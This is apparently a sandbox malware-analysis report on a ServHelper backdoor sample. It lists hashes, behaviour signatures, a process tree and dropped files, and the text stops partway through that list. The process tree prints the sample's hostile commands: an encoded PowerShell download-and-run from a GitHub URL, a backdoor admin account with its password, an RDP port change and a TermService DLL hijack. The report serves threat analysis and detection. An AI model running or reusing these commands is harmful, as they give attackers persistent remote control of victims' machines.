Analysis

  • max time kernel
    138s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11-08-2021 08:09

General

  • Target

    bfe0ac25eeeb759f7c8e06229c7313a2.exe

  • Size

    5.9MB

  • MD5

    bfe0ac25eeeb759f7c8e06229c7313a2

  • SHA1

    199c1fbd29f9ec98b83464763dac63ef80998bb3

  • SHA256

    be9c5e5ce6d4544e6bddbd47c26873fe0c33414086824b1d4968a638184a8a7c

  • SHA512

    a0f3b477de1603d7e032608692857a4865059ba61ae1276334f281970a1484a6c81463fba2a2bbc9821c016e06e206d621fdb97e8743fc60e3515fba88997a72

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe
    "C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xrlp5nw3\xrlp5nw3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3321.tmp" "c:\Users\Admin\AppData\Local\Temp\xrlp5nw3\CSC5ACBF81FDBDD4E84B343FD79E2989E3B.TMP"
          4⤵
            PID:1148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:952
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1684
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:968
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:772
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:616
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1668
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1356
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:428
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1624
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1900
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1552
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1640
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:556
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:792
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1780
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1680
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:328
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1736
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1580
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1708
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1828
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1680
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:792
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:276
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:2000
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:880
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc baKg7SAt /add
                                  1⤵
                                    PID:1840
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc baKg7SAt /add
                                      2⤵
                                        PID:1552
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc baKg7SAt /add
                                          3⤵
                                            PID:516
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1656
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:960
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:792
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:772
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1356
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1888
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1540
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1692
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1624
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc baKg7SAt
                                                          1⤵
                                                            PID:1316
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc baKg7SAt
                                                              2⤵
                                                                PID:1680
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc baKg7SAt
                                                                  3⤵
                                                                    PID:1656
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:880
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1668
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1624
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1600
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1656
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1692
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2024

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_98e5137d-ba9e-411c-9a2f-fad7524189bc

                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_993b6792-8dae-431d-a6d9-63e682d577fb

                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a6031e76-d08b-4806-999e-9c5b096d4072

                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_abb0b0c9-7510-4ec7-8ee9-fa234a8f8744

                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c0d07bfb-4102-4673-8cd5-5f3940bba500

                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d5f08cdb-e92d-48ed-a7e0-b0bb51330c54

                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f62b7ef6-fc95-48d2-a820-c0f76e55cfb2

                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        251665610eb014a8ec60cc5a6b40f084

                                                                        SHA1

                                                                        ba28b2dea293fa9547248fd61f3e19d190b3da72

                                                                        SHA256

                                                                        a03f7af433a610012d94d514a38411edd4e0e18986ebb44aec93002432ff3469

                                                                        SHA512

                                                                        d77e30e0afd6877e0b398952e7156fd4f25e35e4673b1c724c7e144ebe453f682d8c9527585851863ce38d3fa3f38e721edfb8ae0f3c55c76536131b99e2f204

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        eb1d4a1d000d3f3de68651e6ee8517cc

                                                                        SHA1

                                                                        5adc56253462df4197879b033a8c19798ce2d1b1

                                                                        SHA256

                                                                        3d93dfa153fc75a72fa9ed5da739379bf5b827a4f832e70e7518a00637604e29

                                                                        SHA512

                                                                        53ac9541a32bdd39fac1bf9c898d47da4aa62569b269715df6e3f30563d0098c14dd2e4e0040c22efad9506f3856450a9cc3b3b4b920be181d81957ef0efcced

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES3321.tmp

                                                                        MD5

                                                                        cc8ae712073bd51e8b4207d7d6ec65cb

                                                                        SHA1

                                                                        c74a5a6eeabaac61f4248726398ac1e31c914442

                                                                        SHA256

                                                                        88b498e9bf622b2967b27de6843ac3e85a3756088c4ccb8959f8a185588a9d4c

                                                                        SHA512

                                                                        8f1bb9fc85246822a73bba407aec3bb115b31f00786d539e350e9c0daa83da2c13df490470679b49576043bb1f03c5bfeec1a9611b3d8eb04bdbf78f9fd60c64

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        3447df88de7128bdc34942334b2fab98

                                                                        SHA1

                                                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                        SHA256

                                                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                        SHA512

                                                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                        MD5

                                                                        6938a2a0fa3adc1ab9cc3bb479ff0e74

                                                                        SHA1

                                                                        37e2117cf83cdf1a631a394ce6f0c57f70ee3f47

                                                                        SHA256

                                                                        df16833eb7975ca070466bf2f655e078508a59968d8f50f14a8ff7873008d068

                                                                        SHA512

                                                                        5509bae8342bfc482a671258fe3012247f89b2449e84f6c42a4dd0bc73cd4177fff6d581c3615214fc0b5f115a77e24213c5dd37f8c0631eb9064349c33eec79

                                                                      • C:\Users\Admin\AppData\Local\Temp\xrlp5nw3\xrlp5nw3.dll

                                                                        MD5

                                                                        bd58b73e1e6e1ad863598bd7354cd117

                                                                        SHA1

                                                                        59b8c14bc1753cf0f0eb72b81fca82611f187ab6

                                                                        SHA256

                                                                        4b06b58ed59261ead2efe661431220485f8e367d86db0f40ca402b8750adbcfb

                                                                        SHA512

                                                                        ec07d1c8da2e95ab4f0177201093272ca91becb1a800a0233319f2b0cd65183bd28ab69079ed16ec25112b4ce1b76d9cc5b2830a3c0f03329965d13514dd2aef

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        8362022dfd80d7ce86b61b23386d0a80

                                                                        SHA1

                                                                        eabc9c289e81dba31f59144bb06f443529d59f43

                                                                        SHA256

                                                                        a2e40a17cc03fb11eae39351e19178608f1e1971f2394f1e275d3a60812fb3c1

                                                                        SHA512

                                                                        0a0587b9563cd845eb8c703a35223ab259b8b0f8dfb5346645b9de8bc66310fdf5bb13f03bde2dbf2685602157327a2e7c500881ee6e19dae43f23a0a3f33029

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        8362022dfd80d7ce86b61b23386d0a80

                                                                        SHA1

                                                                        eabc9c289e81dba31f59144bb06f443529d59f43

                                                                        SHA256

                                                                        a2e40a17cc03fb11eae39351e19178608f1e1971f2394f1e275d3a60812fb3c1

                                                                        SHA512

                                                                        0a0587b9563cd845eb8c703a35223ab259b8b0f8dfb5346645b9de8bc66310fdf5bb13f03bde2dbf2685602157327a2e7c500881ee6e19dae43f23a0a3f33029

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        8362022dfd80d7ce86b61b23386d0a80

                                                                        SHA1

                                                                        eabc9c289e81dba31f59144bb06f443529d59f43

                                                                        SHA256

                                                                        a2e40a17cc03fb11eae39351e19178608f1e1971f2394f1e275d3a60812fb3c1

                                                                        SHA512

                                                                        0a0587b9563cd845eb8c703a35223ab259b8b0f8dfb5346645b9de8bc66310fdf5bb13f03bde2dbf2685602157327a2e7c500881ee6e19dae43f23a0a3f33029

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\xrlp5nw3\CSC5ACBF81FDBDD4E84B343FD79E2989E3B.TMP

                                                                        MD5

                                                                        96c5856a3021c9009dde1bcc48ced9ce

                                                                        SHA1

                                                                        67fe65351d79bd3bf4d1a06d3c91010c7047b61e

                                                                        SHA256

                                                                        2d4e3607b450232cec19d1bd8bf6173490cde271da18b0a2c5f388e4a977833b

                                                                        SHA512

                                                                        d7b10a28533c78c1f53060ff3566755c32e9e890e78feaf51bda20e8580112e7782154555a3e72186578d9bf031ea6a9d7bd1ebf43cbe9bb4720e0b7ab0f5ed0

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\xrlp5nw3\xrlp5nw3.0.cs

                                                                        MD5

                                                                        4864fc038c0b4d61f508d402317c6e9a

                                                                        SHA1

                                                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                        SHA256

                                                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                        SHA512

                                                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\xrlp5nw3\xrlp5nw3.cmdline

                                                                        MD5

                                                                        62560da59b1efd27c4258ad8502d5ca1

                                                                        SHA1

                                                                        0d0071a73e0b95fc7937ee515a862fa71ff9be4e

                                                                        SHA256

                                                                        9b74199eafe511dd1e70b75e8537eb56598b2768da0b2191e889e48248a45861

                                                                        SHA512

                                                                        6d4854ab8b83170cdb06941f9dd65766b68627bec8525b51cc8243917d6844460c9eba06764b338da86fc38fbaf3fb410e3642ec7997bec4b887e369d761a55e

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5
